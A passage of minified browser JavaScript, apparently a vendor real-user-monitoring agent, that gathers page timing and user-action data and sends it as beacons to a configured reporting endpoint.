1];return 0}function vd(a){return a&&1===a.length?-1!==yc(Xc("featureHash"),a):!1}function He(a,b,d,f){void 0===f&&(f=ve(a));var l=mb.dT_,r=Z(C());b=b||!r;a=r&&-1===yc(l.iMod(),a);return b&&d&&(f||a)}function ve(a){var b=mb.dT_;if(b.ism(a)&&-1===yc(b.iMod(),a))return b.iMod(a),!0;b.ism(a)&&(a='Module "'+a+'" already enabled!',Qh()&&mb.console.log("WARNING: "+a));return!1}function u(a){var b=Pf.initializedModules||"";a&&(b+=a);return Pf.initializedModules=b}function E(a,b){void 0===b&&(b=gb());var d=
Xc("agentUri");d=d.substring(0,d.lastIndexOf("/"));var f=Xc("csu");"true"===ng("dtUseDebugAgent")&&mb.dT_debugger&&0>f.indexOf("dbg")&&(f=Xc("debugName")||f+"dbg");return"".concat(d,"/").concat(f,"_").concat(a,"_").concat(b,".js")}function N(a){return Pf[a]}function ha(a,b){Pf[a]=String(b)}function sa(a,b,d){if(ta(Array.prototype.reduce))return Array.prototype.reduce.call(a,b,d);var f="undefined"!==typeof d;d=f?d:a[0];if("undefined"===typeof d)throw new TypeError("Reduce of empty array with no initial value");
for(f=f?0:1;f<a.length;f++)d=b(d,a[f],f,a);return d}function Ia(a,b,d,f){var l=ef()+Math.round(d.startTime),r=l-a;l>=a&&l<=b&&0<=r&&(null==f.Ia||r<f.Eb)&&(f.Ia=d,f.Eb=r)}function bb(a,b,d){return sa(a,function(f,l){Ia(b,d,l,f);return f},{Ia:null,Eb:Number.MAX_VALUE}).Ia}function cb(a,b){return ad(a,function(d){return d.initiatorType===b})}function Fb(a,b,d,f){try{if(!(a&&performance&&performance.getEntriesByName))return null;var l=R(a);0===yc(l,"/")?l=location.protocol+"//"+location.host+l:0!==yc(l,
"http")&&(l=location.href.substring(0,location.href.lastIndexOf("/")+1)+l);var r=performance.getEntriesByName(l);b&&(r=cb(r,b));if(r.length)return d?bb(r,d,f||Number.MAX_VALUE):r[r.length-1];r=performance.getEntriesByType("resource");b&&(r=cb(r,b));-1===l.indexOf("?")&&(l+="?");for(var G={Ia:null,Eb:Number.MAX_VALUE},ea=r.length-1;0<=ea;ea--){var ya=r[ea];if(0===ya.name.lastIndexOf(l,0))if(d)Ia(d,f||Number.MAX_VALUE,ya,G);else return ya}return G.Ia}catch(ob){return null}}function Ib(a){try{var b=
Fb(a,"xmlhttprequest");if(ua(b)){var d=(b.requestStart-(b.redirectEnd||b.startTime))/2;0<d&&Qb(d);return!0}}catch(f){}return!1}function fc(a,b,d,f){function l(){}function r(){}var G=a.path,ea=a.Ka,ya=a.async,ob=kc();f&&(r=function(zb){return function(pb){if(Eh)for(var Tb=0,Hc=Eh();Tb<Hc.length;Tb++)(0,Hc[Tb])(b,"success",pb);Tb=kc()-zb;Ib(G)||Qb(Tb/2);Tb=pb&&pb.split("|");for(Hc=1;Hc<Tb.length;Hc++){var zc=Tb[Hc].split("=");if("dtCookie"===zc[0]||"sn"===zc[0]){if(zc=decodeURIComponent(zc[1]),Mi(zc)){jj(zc);
try{mb.sessionStorage&&mb.sessionStorage.removeItem("dtCookie")}catch(kj){}}}else if("name"===zc[0]){zc=void 0;var Ad=pb;if(mb.localStorage)try{var Zd=Cd(),Pc=mb.localStorage.getItem(Zd),Ke=Xc("cuc"),Dh=0;if(Pc){var Ve=cg(Pc),Qf=Ni(Ve.config||"",Ve);Ve.name&&(Qf.csu=Ve.name);Dh=$d(Qf.lastModification||"0")}var ri=cg(Ad),sf=Ni(ri.config||"");if(!Ke||!sf.cuc||Ke===sf.cuc){sf.csu=ri.name||Xc("csu");var ff=$d(sf.lastModification||"0");ff>Dh&&(mb.localStorage.setItem(Zd,Ad),wl(sf),Ej(sf,!0),Nk(sf),Fj(sf),
ff>(Pf.lastModification||0)&&(Pf=Xl(sf),pc((zc={},zc.kind="CONFIG_UPDATE",zc.detail=Pf,zc))))}}catch(kj){}}else"enabled"===zc[0]&&"false"===zc[1]&&Yb()}}}(ob),l=function(zb){if(Eh)for(var pb=0,Tb=Eh();pb<Tb.length;pb++)(0,Tb[pb])(b,"fail",zb);qm++;if(p.sf||p.msf){if(oh.length)for(zb=kc(),pb=0;pb<oh.length;pb++)oh[pb].time<zb&&oh.splice(pb--);Ob(oh,{path:G,data:ea,time:kc()})}if(!se)try{if(mb.localStorage){var Hc=Cd();mb.localStorage.removeItem(Hc)}}catch(zc){}});if("onreadystatechange"in d){if(d.onreadystatechange=
Ec(b,r,l,a),ya&&"timeout"in d&&"ontimeout"in d&&(a=Tc("xt")))d.timeout=a,d.ontimeout=ld(a)}else d.timeout=Tc("xt"),d.onload=function(){r(this.responseText)},d.onprogress=function(){},d.ontimeout=function(){}}function Ec(a,b,d,f){return function(){var l=f.vc,r=f.wc;if(4===this.readyState)try{if(200===this.status)b(this.responseText);else if(429===this.status){for(var G=0,ea=ge;G<ea.length;G++)ea[G].Db();Yb();d(this.status,this.responseText)}else d(this.status,this.responseText)}catch(ya){d(0)}if(a)try{a.ef(this.readyState,
this.status,l,r)}catch(ya){}}}function ld(){return function(){try{this.abort()}catch(a){}}}function fd(a,b){void 0===b&&(b=!0);for(var d=a.path,f=a.Ka,l=a.Fa,r=a.async,G=a.beacon,ea=a.Ge,ya=3,ob=!1;0<ya;)try{var zb=void 0,pb=hc("cors");if(pb){var Tb=Gj();var Hc="withCredentials"in Tb?Tb:mb.XDomainRequest?new mb.XDomainRequest:null}else Hc=Gj();zb=Hc;if(!zb)return!1;"onreadystatechange"in zb?zb.open("POST",d,r):zb.open("POST",d);"setRequestHeader"in zb&&(zb.setRequestHeader("Content-Type",ea?"application/octet-stream":
"text/plain;charset=UTF-8"),l&&l!==O()&&!pb&&zb.setRequestHeader("x-dtreferer",Ga(l,Tc("mhl"))));G&&fc(a,G,zb,b);zb.send(f);ya=0;ob=!0}catch(zc){ya--}return ob}function hd(a){return La({path:"",Fa:"",Ka:"",vc:0,wc:1,async:!1},a)}function od(a,b){var d=!1;a.xc&&(d=!we(a.path,a.Ka));if(!a.xc||d)a=fd(a,!0),b=b&&a;return b}function we(a,b){try{var d=navigator.sendBeacon(a,b||"")}catch(f){d="Error sending signal via sendBeacon: "+f+": "+a}d||++qm;return d}function ce(a,b){void 0===b&&(b=!1);var d=["i".concat(a.id),
"k".concat(a.kind),"h".concat(Number(a.hydrated))];b&&d.push("t".concat(Number(a.trigger)));return d.join(";")}function Xd(a){if(a)for(var b=mh("LABEL"),d=ph(b),f=0;f<d;f++){var l=b[f];if(l&&"LABEL"===l.nodeName&&l.htmlFor===a)return Hd(l.innerText,l.textContent)}return""}function Hd(){for(var a=[],b=0;b<arguments.length;b++)a[b]=arguments[b];for(b=0;b<a.length;b++){var d=a[b];if("string"===typeof d&&(d=gc(d)))return d}return""}function xf(a){if(a){if(0===yc(a,"data:"))return"";a=a.split("/");if(0<
a.length)return a[a.length-1].split(".")[0]}return""}function Of(a){if(a&&a.split){var b=a.split("/");if(0<b.length&&(b=gc(b[b.length-1]),null!==b))return b}return a||""}function Dg(a){return Pa(a)?a.innerText||a.textContent:a.textContent}function jh(a,b){var d=b.nodeName?b.nodeName.toUpperCase():"unknown",f=za(b)?b.getAttribute("type"):"";f="string"===typeof f?f.toUpperCase():"";var l="";switch(a){case 0:za(b)?(d="",ab(b)&&"HIDDEN"!==f&&(d=!f||"BUTTON"!==f&&"SUBMIT"!==f&&"RESET"!==f&&"IMAGE"!==f?
null:b.value,a=Xd(b.id),d=!f||"BUTTON"!==f&&"SUBMIT"!==f&&"RESET"!==f?Hd(a,d):Hd(d,a)),d||(d=Hd(Dg(b))),l=d):l="";break;case 1:d="";if(ab(b)&&"HIDDEN"!==f||b&&"BUTTON"===b.nodeName)f="IMAGE"===f?b.getAttribute("alt"):null,d=Hd(b.name,b.title,f);l=d;break;case 3:za(b)?(b=b.className,l=db(b,["baseVal","animVal"])?b.baseVal||b.animVal||"":b):l="";break;case 4:b="";"INPUT"===d&&"HIDDEN"!==f?b="INPUT: "+f:"A"===d?b="LINK":"-"===si&&(si=b=d);l=b;break;case 2:d="",ab(b)&&"IMAGE"===f?d=xf(b.src):b&&"A"===
b.nodeName?d=Hd(b.title,Of(b.href)):b&&"IMG"===b.nodeName?d=Hd(b.name,b.title,b.alt,xf(b.src)):b&&"FORM"===b.nodeName&&(d=Hd(b.name,b.id,b.action)),d||(d=Hd(b.title,b.data,b.wholeText,b.id)),l=d}return l}function pf(a){if(!a)return"";try{if(p.ie&&Vb(a))return"VML Node";var b=a.nodeName?a.nodeName.toUpperCase():"unknown";if("HTML"===b||"BODY"===b||"HEAD"===b||"#DOCUMENT"===b)return si;for(b=0;4>=b;b++){var d=jh(b,a);if(d&&d!==si)return d}return pf(a.parentNode)}catch(f){}return""}function Vf(a,b){if(!b)return"";
var d=ph(b);if(0>=d||20<xl)return"";for(var f=0;f<d;f++){var l=b[f];if(p.ie&&Vb(l))return"VML Node";var r;xl++;if(r=Vf(a,l.childNodes))return r;xl--;if(r=jh(a,l))return r}return""}function Bb(a){try{var b=a.nodeName?a.nodeName.toUpperCase():"unknown";if("HTML"===b||"BODY"===b||"HEAD"===b||"#DOCUMENT"===b)return"Page: "+rm;if(a&&"SELECT"===a.nodeName){var d=a.nodeName?a.nodeName.toUpperCase():null,f=Xd(a.id),l=Hd(f,a.name,d),r=null;if(!a.multiple){var G=a.options&&-1<a.selectedIndex?a.options[a.selectedIndex]:
null;G&&(r=Hd(G.label,G.innerText,G.textContent))}return r?"["+l+"] to value ["+r+"]":l}if(a&&"TEXTAREA"===a.nodeName){var ea=a.nodeName?a.nodeName.toUpperCase():null,ya=Xd(a.id);return Hd(ya,a.name,ea)||a.nodeName}var ob=Hd(Dg(a));if(ob)return ob;xl=0;if(a.childNodes&&0<ph(a.childNodes)){a:{for(l=0;4>=l;l++){var zb=Vf(l,[a]);if(zb){r=zb;break a}}r=""}return r}}catch(pb){}return pf(a)}function tg(){Rm=Xc("uana").split(",");pn=Tc("uanpi")||0}function J(){return Hf}function B(a){3===a&&(Xg=[]);Hf=a}
function K(){return ae}function Fa(a){var b=ad(lj,function(d){return d.timestamp<=a});return b[b.length-1]||null}function Ya(a){Ue(a,0)?Xg.push.apply(Xg,a):Xg.push(a)}function tb(a){var b=zf;try{for(;b;){var d;if(d=a.target&&"string"!==typeof a.target&&a.target!==b.target&&"string"!==typeof b.target)a:{try{for(var f=a.target.parentNode;f;){if(f===b.target){d=!0;break a}f=f.parentNode}}catch(l){}d=!1}d&&(a=b);b=b.next}}catch(l){}zf=a}function Sb(a){var b,d=a.Cg,f=a.url,l=a.title,r=a.view;return b=
{id:a.id,target:a.target,name:"",type:a.type,next:void 0,ob:void 0,info:a.kf||"-",start:kc(),Sb:!1,Sd:kc()+(d||30),url:f||O(),title:l||U(),aa:""},b.view=r,b.Ob=function(){if(!this.name){if(hc("uam"))var G={aa:"dTMasked_"+(Pa(this.target)?this.target.nodeName:"")};else{var ea=this.target||"";si="-";if(p.ie&&Vb(ea))G={aa:"VML Node"};else if("string"===typeof ea)G={aa:ea};else if(za(ea)){G=Bb(ea)||si;a:{try{for(var ya=0;ya<=pn;ya++){for(var ob=0,zb=Rm;ob<zb.length;ob++){var pb=ea.getAttribute(zb[ob]);
if(pb){var Tb=pb;break a}}if(ea.parentElement)ea=ea.parentElement;else break}}catch(Hc){}Tb=""}G={aa:G,Lb:Tb}}else G={aa:si}}G.aa=Wa(Cb(G.aa));G.Lb=Wa(Cb(G.Lb));this.name=G.Lb||G.aa;G.Lb&&(this.aa=G.aa)}return this.name},b.oi=function(){return this.Sb},b.vg=function(){var G=this;do G.Sb=!0,G=G.next;while(G)},b}function Ub(a,b,d,f,l,r,G){void 0===G&&(G=ae);if(Yc(dg))return dg.bi(a,b,d,f,l,r,G);var ea=Sb({id:sm++,target:a,type:b,kf:d,Cg:f,url:l,title:r,view:G});try{return ik&&(ea.next=zf,ea.next&&(ea.next.ob=
ea),tb(ea)),ea}finally{Zc(function(){dd(ea)},ea.Sd-kc())}}function Pb(){return Yc(dg)?dg.gci():zf}function cc(){return Yc(dg)?dg.gpi():Rh}function lc(a,b){if(Yc(dg))return dg.cii(a,b);b=b?cc():Pb();if(!b)return eo[a];switch(a){case "name":return b.Ob();case "type":return b.type;case "validUntil":return b.Sd;case "start":return b.start;case "target":return b.target;case "url":return b.url;case "title":return b.title;default:return null}}function $c(a){return lc(a,!0)}function Vd(a,b){return{timeout:a,
url:lc("url",b),name:lc("name",b),startTime:lc("start",b),type:lc("type",b)||"-",title:lc("title",b)}}function yd(){for(var a=zf;a;)a.target=void 0,a=a.next;zf=void 0}function dd(a){if(Yc(dg))dg.ei(a);else if(zf){for(var b=zf;b.next&&b!==a;)b=b.next;b===a&&(lc("name")&&(Rh=zf),b.target=void 0,b.ob&&(b.ob.next=b.next),b.next&&(b.next.ob=b.ob),b===zf&&(zf=b.next))}}function ie(a){void 0===a&&(a="");return a?-1!==mf(Xc("doNotDetect")?Xc("doNotDetect").split(","):[],a):!1}function Kd(a,b,d){if(!ie(d)){var f=
b?b:a;yl[a]=function(l){var r,G;pc((r={},r.kind="GLOBAL_EVENT_FIRED",r.detail=(G={},G.t=a,G.e=l,G),r));r=hc("ote");G=hc("ase");var ea="boolean"!==typeof l.isTrusted||l.isTrusted,ya=l.isRuxitSynthetic;if(G?ya:!r||ea){(r=l.target||l.currentTarget||l.srcElement||null)&&r.shadowRoot&&l.composed&&l.bubbles&&"function"===typeof l.composedPath&&(G=l.composedPath())&&G.length&&(r=G[0]);a:{G=r;if(("KD"===f||"KU"===f)&&ab(G)&&"password"!==G.type)if(l=l.keyCode||l.charCode||l.code,G=Number(l),hc("uam")&&!isNaN(G)){if(G=
String.fromCharCode(G),!("a"<=G&&"z">=G||"A"<=G&&"Z">=G||"0"<=G&&"9">=G)){l=String(l);break a}}else{l=String(l);break a}l=""}Ub(r,f+l,void 0,30)}};If(document,a,yl[a])}}function Ne(a){(ik=a)||yd()}function Yc(a){return!!a&&a!==C()}function Ce(a){qn=a}function ig(a,b){var d;if(b<=qn)return!1;b=null===(d=Nd)||void 0===d?void 0:d.tb();d=!!b&&a===b.name;b=Aj;if(!b)return!d;a=a===b.name&&(!b.J||3E3>=kc()-b.start);return!d&&!a}function xc(a,b){if(!hc("dsa")||0!==yc(a,"false")){var d=hc("dssv"),f=hc("dsss"),
l=f&&!d,r=d&&!f,G=!d&&!f,ea=b?a+"|"+b:a;f&&d&&vb("dtSa",ea);l&&(vb("dtSa",a),lf("dtSa",Hg(b||"-"),void 0,hc("ssc")));r&&(vb("dtSa",b||"-"),lf("dtSa",Hg(a),void 0,hc("ssc")));G&&lf("dtSa",Hg(ea),void 0,hc("ssc"))}}function Ld(){var a=Le[0];if(a){a.stop=0;var b=a;for(var d=0;d<a.subActions.length;d++)b=a.subActions[d],b.stop=0}return b}function Oe(a,b,d,f,l,r){void 0===a&&(a=kc());var G=ne(!0),ea=Nd||Ld(),ya=[];if(!G&&b&&d&&a)ya=[String(!l),I(d),l||"-1",I(b),I(f||"-"),a,bg(),$a(bd()),"","",I(location.hash.substring(1)),
I(r||"")];else if(ea){ea.hb();var ob=ea.status;ea.status=2;Zc(function(){ea.status=ob},0);ya=["false",I(ea.type),ea.id,I(ea.name),I(ea.info||"-"),ea.start,bg(),$a(bd()),"","",I(location.hash.substring(1)),I(ea.aa||"")]}return ya}function cd(a,b,d){void 0===b&&(b=null);var f=!1,l=ic();try{f=l.iSAC()}catch(G){}if(!f||l===C()){a&&(xc("-"),Ok=[]);f=Pb();if(!f){var r=cc();r&&ig($c("name"),$c("start"))&&3E3>=kc()-$c("validUntil")&&(f=r)}r=[];f&&!f.Sb?(f.vg(),r=Oe(f.start,f.Ob(),f.type,f.info,f.G,f.aa)):
b?r=Oe(b.start,b.name,b.type,b.info,b.id,b.aa):a&&(r=Oe(d));a=r;d=Ok;1<d.length&&1<a.length&&d[3]===a[3]&&(d[2]=a[2],d[0]=a[0],a=d);a.length&&(d=ae,b=d.timestamp,f=d.group,d=[$a(d.name),b,$a(f||""),I(ce(d,!0))],xc(a.join("|"),d.join("|")),Ok=a.concat(d),(l=l.sSAC)&&l(!0,!0))}}function je(a,b){return tm("mcepsl")?Ca(b):Ca(b,Tc("mcepsl"))}function Wd(a,b,d){var f;void 0===d&&(d=!1);if("tvn"===a||"svn"===a||"tvg"===a||"svg"===a)return b;var l=Tc("mcepsl");return b&&b.length>l?(d&&(null===(f=mb.console)||
void 0===f?void 0:f.log("Truncating agent event because the size for property [".concat(a,"] exceeds size limit of ").concat(l," characters: [").concat(b.length,"]"))),Ga(b,l,"lcpSel"===a)):b}function jg(a,b){for(var d=Tc("mcepsl"),f=[],l=0;l<b.length;l++){var r=b[l],G=r[0],ea=r[1];r=G;if(0!==Hf){var ya=ae,ob=ya.name,zb=ya.group;ya=ya.timestamp;ea=ob&&ea===ob&&"tvn"===r||zb&&ea===zb&&("tvg"===r||"svg"===r)||ya&&ea===String(ya)&&"tvt"===r?"":ea}r=Wd;ob=fo[a];"function"===typeof ob&&(r=ob);"object"===
typeof ob&&ob[G]&&(r=ob[G]);ob=Ga(G,d);(G=r(G,ea))&&ob&&f.push([ob,G])}return f}function Fe(a,b){void 0===b&&(b=1);var d=[String(b),String(a.id),"_event_",String(a.timestamp),String(a.kind)];a=jg(a.kind,a.eb);Ac(a,function(f){var l=f[1];Ob(d,I(f[0]));Ob(d,I(l))});return d.join("|")}function Ge(a,b,d){for(var f,l,r="",G="",ea=0;ea<a.length;ea++){var ya=a[ea];ya.Uc();var ob=ya.Mb();ya.Qb(d);r||(r=ya.La());G=ya.La();if("_load_"===ya.type&&(de=!0,f=Sh)){G=[f.id,f.name,f.type,f.info,f.frameId,f.startTime];
f.isDelayed?(l="",f.anchor&&(l="#"+f.anchor),G.unshift("d"),Ob(G,f.qa+l,"")):G.unshift("s");Ob(G,f.aa||"");if(f.na){l=f.na;var zb=l.timestamp,pb=l.group;Ob(G,l.name);Ob(G,zb);pb&&Ob(G,pb)}f=f.qa;l=G.join("|");G=f;Ob(b,l);Sh=void 0}ya.parentFrameActionName&&(f=Ob,l=ya.pd,ya=[0,ya.Kd,I(ya.parentFrameActionName),l].join("|"),f(b,ya));Ob(b,ob)}return{Fa:r,qa:G}}function Ee(a,b){var d,f,l=ad(Le,function(ya){return(ya.Tc()||a||b)&&!ya.$e()}),r=ge;if(b){r=[];ge=[];for(var G=0;G<l.length;G++){var ea=l[G];
pc((d={},d.kind=3===ea.status?"ACTION_BEACON_FORCED":"ACTION_CLOSED",d.detail=(f={},f.a=ea.start,f.s=ea.stop,f.r=ea.ta(),f.i=ea.id,f.f=!0,f.t=ea.type,f.x=ea.xhrUrl,f.rt=void 0,f),d))}Ze.oa=[];Ab(Nd&&null!==Nd?Nd.tb():null);Nd=null}return{rg:l,Af:r}}function mi(a,b){void 0===a&&(a=!1);void 0===b&&(b=!1);var d=[],f=Ee(b,a);b=f.Af;f=Ge(f.rg,d,a);a=f.Fa;f=f.qa;Ac(um,function(l){Ob(d,Fe(l))});Le=na([],b,!0);um=[];return{pc:d.join(","),referer:a,sourceUrl:f}}function kg(a,b,d,f){for(var l=0,r=zl().slice();l<
r.length;l++){var G=r[l];try{G(a,b,d,f)}catch(ea){}}}function tf(){return vg}function Wf(a,b,d,f,l,r,G){mj=!1;a=l||vg.qd(a,b,d);if(a.beacon){d=!!d;f=!!f;b=G;var ea;void 0===r&&(r=!1);void 0===b&&(b=(ea={},ea.contentType="",ea));if(Db()||!a.beacon)a=0;else{ea=a.referrer||O();Jd(b,"rf",Kc(encodeURIComponent(ea||""),Tc("mhl"))[0]);hc("owasp")&&(G=encodeURIComponent(ea||""),vg.av(a.beacon,"rf",G));G=kc();vg.av(a.beacon,"time",G);G=r;l=p;var ya=13>=l.sf,ob=!0;G=d&&rn&&!hc("dsndb")&&!ya&&!G||hc("svNB");
!G&&(f||d&&(l.sf||l.msf||hc("lab")||(l.ie||l.edge)&&kb))&&(ob=!1);d=ob;f=b;b=a.beacon;l=document.cookie;ya=pd(l);var zb=hk("dtLatC",l);ob=Xc("cuc");Jd(f,"sn",encodeURIComponent(ya));Jd(f,"latency",encodeURIComponent(zb));Jd(f,"flavor",hc("cors")?"cors":"post");if(void 0===f.crc){ya=b.gd?b.Rb:b.Yc();if("string"===typeof ya)b:{try{if(Th.TextEncoder){var pb=(new Th.TextEncoder).encode(ya);break b}}catch(Hc){}pb=[];for(zb=0;zb<ya.length;zb++){var Tb=ya.charCodeAt(zb);128>Tb?pb.push(Tb):2048>Tb?(pb.push(Tb>>
6|192),pb.push(Tb&63|128)):55296===(Tb&64512)&&zb+1<ya.length&&56320===(ya.charCodeAt(zb+1)&64512)?(Tb=65536+((Tb&1023)<<10)+(ya.charCodeAt(++zb)&1023),pb.push(Tb>>18|240),pb.push(Tb>>12&63|128),pb.push(Tb>>6&63|128),pb.push(Tb&63|128)):(pb.push(Tb>>12|224),pb.push(Tb>>6&63|128),pb.push(Tb&63|128))}}else pb=ya;ya=-1;for(zb=0;zb<pb.length;)ya=ya>>>8^sn[(ya^pb[zb++])&255];pb=(ya^-1)>>>0;-1!==pb&&(f.crc=pb)}Jd(f,"vi",encodeURIComponent(b.zb("vi")||qi()));Jd(f,"bp",3);Jd(f,"v",tn);Jd(f,"app",encodeURIComponent(Xc("app")));
Jd(f,"type","js3");Jd(f,"dtAdk",encodeURIComponent(Na("dtAdk",l)));Jd(f,"contentType","");Jd(f,"modifiedSince",Tc("lastModification"));Jd(f,"svrid",Li());ob&&(f.en=ob);f.contentType&&"srRs"===f.contentType&&Jd(f,"msl",Tc("msl"));f.end=1;b=hc("cors");pb=["type","sn","svrid","flavor","vi"];Ob(pb,"contentType","modifiedSince");hc("owasp")||Ob(pb,"rf");b&&Ob(pb,"dtAdk");Ob(pb,"bp");Xc("app")&&Ob(pb,"app");f.contentType&&Ob(pb,"v");-1!==f.crc&&Ob(pb,"crc");Xc("cuc")&&Ob(pb,"en");"srRs"===f.contentType&&
Ob(pb,"msl");Ob(pb,"end");b=Xc("reportUrl");l=[];for(ob=0;ob<pb.length;ob++)ya=pb[ob],f[ya]&&Ob(l,ya+"="+f[ya]);(pb=l.join("&"))&&(b+="?"+pb);pb=lg(a.beacon);f=!0;for(l=0;l<pb.length;l++)f=!!ja(od,hd({xc:G,path:b,async:d,Fa:ea,beacon:a.beacon,Ka:pb[l],vc:l,wc:pb.length,Ge:r}),f);a=0;pb.length&&(a=f?2:1)}}else a=0;return a}function me(a,b,d,f,l,r,G){var ea=Id(Na("dtAdkSettings")).Vc;Ig=ea;if(1===ea)return 0;if(2===ea){if(d)return 0;Zc(function(){me(a,b,d,f,l,r,G)},5E3)}else return Wf(a,b,d,f,l,r,G);
return 0}function Jd(a,b,d){void 0===a[b]&&(a[b]=d)}function lg(a){if(a.Rb)return[a.Rb];a=a.Yc();var b=Z(C())?145E3:Tc("msl")-40;b=0===a.length%b?Math.floor(a.length/b):Math.floor(a.length/b)+1;if(!(1<b))return[a];if(1>b||20<b)return[];b=Z(C())?145E3:Tc("msl")-40;var d="sid="+kc()+"&p#index#_#total#=";return Kc(a,b,d)}function Bg(a){Vc(a)}function Vc(a){if(mj){var b=!1;"number"===typeof a?kc()+a<Al&&(b=!0):b=!0;b&&(ti(Sm),mj=!1)}mj||(Al=kc()+(a||0),"number"===typeof a?(Sm=Zc(me,a),mj=!0):me())}function Cf(a,
b,d){return me(b,d,!1,a)}function nf(a){Ob(zl(),function(b,d,f,l){a(l,d,f,l.Kb)})}function ih(){var a=qm;return 0===a?null:{severity:"Error",type:"be",text:"Beacon sending failed for ".concat(a," attempt").concat(1<a?"s":"","! Look in the browser DevTools for more information.")}}function Rg(){tn=$d(gb());vg=new go;Tm=0;Ud&&Ud(function(a,b,d){d&&(10>Gc.length?Gc.push(d):(a=Gc[10])?Gc[10]=String(Number(a)+1):Gc.push("1"))});Ig=Id(Na("dtAdkSettings")).Vc;rb("DEBUG_INFO_REQUESTED",ih)}function Eg(){for(var a=
!1,b=[],d=0,f=ge;d<f.length;d++){var l=f[d];l.kc&&0<l.kc&&(l.Va&&kc()>l.Va&&(l.Va+=6E4,Ob(b,l)),a=!0)}0<b.length&&me(!0,!0);for(d=0;d<b.length;d++)b[d].kc--;a&&Zc(Eg,1E3)}function of(a,b,d){var f=Nd;f!==a&&(f&&!d&&Ab(f),(Nd=a)?ja(Yl,a.id,b):ye())}function Tg(a){eg=null;if(Wg&&Wg.gca){var b=Wg.gca();if(eg=b[b.length-1])a.Kd=eg.id,a.parentFrameActionName=eg.name,eg.childFrameActions?eg.childFrameActions++:eg.childFrameActions=1}}function Xf(a,b,d){if(hc("ffi"))return!0;b=String(b);d=String(d);for(var f=
!1,l=f,r=f,G,ea=0;ea<a.length&&(!f||!l);ea++)G=a[ea].split("."),f=G[0],G=G[1],f=f===b,l=G===d,!r&&f&&d>G&&(r=!0);return f&&l?!0:f&&l||r}function Sg(){var a=Id(Na("dtAdkSettings")).Vc;if(Ig!==a&&(Ig=a,0!==a)){a=0;for(var b=ge;a<b.length;a++)b[a].Db()}}function Cg(){var a=[];for(var b=Ze.oa.length-1;0<=b;b--)if(Ze.oa[b].Tc()){var d=eb(Ze.oa,b);a=a.concat(d)}b=!1;Sg();d=ge;for(var f=d.length-1;0<=f;f--){var l=d[f];if(l.Ie)eb(d,f);else{var r=0<=mf(a,l),G=eg;r?(eb(d,f),b=!0):G&&(r=Wg.gca(),l.pd=n&&r[r.length-
1]===G?"S":"A",eg=null)}}b&&Vc()}function ni(){"hidden"===document.visibilityState?(Fh="1",Yf()):Fh="0"}function Yf(){var a;pc((a={},a.kind="PAGE_BACKGROUND_INFORMATION",a.detail=Fh,a))}function Df(a){Bl++;(a=$b(a.detail.i))&&!a.na&&(a.na=ae)}function Mf(a){Bl--;if(a=$b(a.detail.i))a.Ag=Fa(a.stop)||ae;1>Bl&&(lj=[])}function Ef(a,b,d){var f=b[Um[a]];b=b.startTime;if(f)if(0<=yc("yK",a))d.push(a,f);else if("T"===a)"number"===typeof f&&0>f&&0===f%1&&d.push(a,f);else{var l=f>=b;"j"===a&&Ue(f,2)&&Math.abs(f-
b)<Zl&&(l=!1);var r=f;0<=yc("uvwxACDEFNOPQRSTU",a)?l=0<=f:"number"===typeof f?r=Math.round(f-b):r=f;l&&d.push(a,r)}}function wd(a,b,d){if(b=b[$l[a]]){var f=0<=b;"j"===a&&0===b&&(f=!1);f&&d.push(a,Math.round(b))}}function Nf(a,b,d){(b=b[am[a]])&&d.push(a,b)}function Ye(a,b){a=a.serverTiming;for(var d={},f=0,l=Pn;f<l.length;f++){var r=l[f];d[r]=""}if(a){for(f=0;f<a.length;f++)l=a[f],l.description&&!isNaN(Number(l.description))&&(r=l.name,r in d&&!d[r]&&(d[r]=l.description));d.dtRequestID&&(b.push("C"),
b.push(d.dtRequestID));d.dtRpid&&(b.push("M"),b.push(d.dtRpid));d.dtSInfo&&(b.push("V"),b.push(d.dtSInfo));d.dtTao&&(b.push("W"),b.push(d.dtTao))}}function Ff(a,b,d,f){var l=0;for(a=oc(a);l<a.length;l++)d(a[l],b,f)}function Ug(){if(!window.performance)return[];var a=null,b=-1,d=performance.timeOrigin;"getEntriesByType"in performance&&(a=performance.getEntriesByType("navigation")[0])&&a.type&&(b=Vm[a.type]);a&&"responseEnd"in a||(a=performance.timing);-1===b&&(b=performance.navigation.type);d||(d=
performance.timing.navigationStart);return(!C().googleBot||Z(C()))&&0<d?(b=["a",b,"b",Math.round(d)],k(a,b,d),b):[]}function k(a,b,d){if(Xa&&db(a,12)||db(a,["navigationStart"])&&!("entryType"in a))for(var f in Pk){if(Ra(Pk,f)){var l=f,r=a[Pk[l]];if(r){var G=r>=d;"j"===f&&r===d&&(G=!1);G&&b.push(l,Math.round(r-d))}}}else if(d=C(),d=d.gSig?d.gFU():{},ua(a)){Ff(Um,a,Ef,b);f=Ob;r=f.apply;G=[];if(ua(a)){if("xmlhttprequest"===a.initiatorType||"fetch"===a.initiatorType){var ea="1";Yg[a.name]&&(ea="11",delete Yg[a.name]);
G.push("z",ea)}else Yg[a.name]&&(G.push("z","01"),delete Yg[a.name]);ea="";"frame"===a.initiatorType?ea="f":"iframe"===a.initiatorType||"subdocument"===a.initiatorType?ea=isNaN(d[a.name])?"i":"i"+d[a.name]:0<=(a.frameId||-1)&&(ea="r"+a.frameId);ea&&G.push("B",ea)}else Yg[a.name]&&(G.push("z","01"),delete Yg[a.name]);r.call(f,void 0,na([b],G,!1));b.push("I",null!==(l=vm[a.initiatorType])&&void 0!==l?l:0);Ye(a,b)}else Ka(a)?(Ff($l,a,wd,b),Ye(a,b)):Ff(am,a,Nf,b)}function w(){hc("ntd")||Qe(function(a,
b,d,f){b||bm||!de||(bm=!0,a.av(f,"nt",Ug().join("")||"0",!0))})}function M(){var a;pc((a={},a.kind="INSTRUMENTATION_TRIGGERED",a.detail=void 0,a))}function A(a){var b=ge;Tg(a);Ob(b,a);b=Nd;b!==a&&(Ab(b),Nd=a);Ob(Le,a);Zc(Eg,5E3)}function Ta(a){var b=a.start,d=a.xhrUrl,f=a.nc,l=a.qa,r=a.Za;r=void 0===r?!1:r;var G=a.isCustomAction;G=void 0===G?!1:G;var ea=a.Ma;ea=void 0===ea?!1:ea;var ya=a.Rd;ya=void 0===ya?-1:ya;var ob=a.aa;ob=void 0===ob?"":ob;var zb=a.na,pb=a.ac;a=new qh(b,a.stop||b,a.type,a.name,
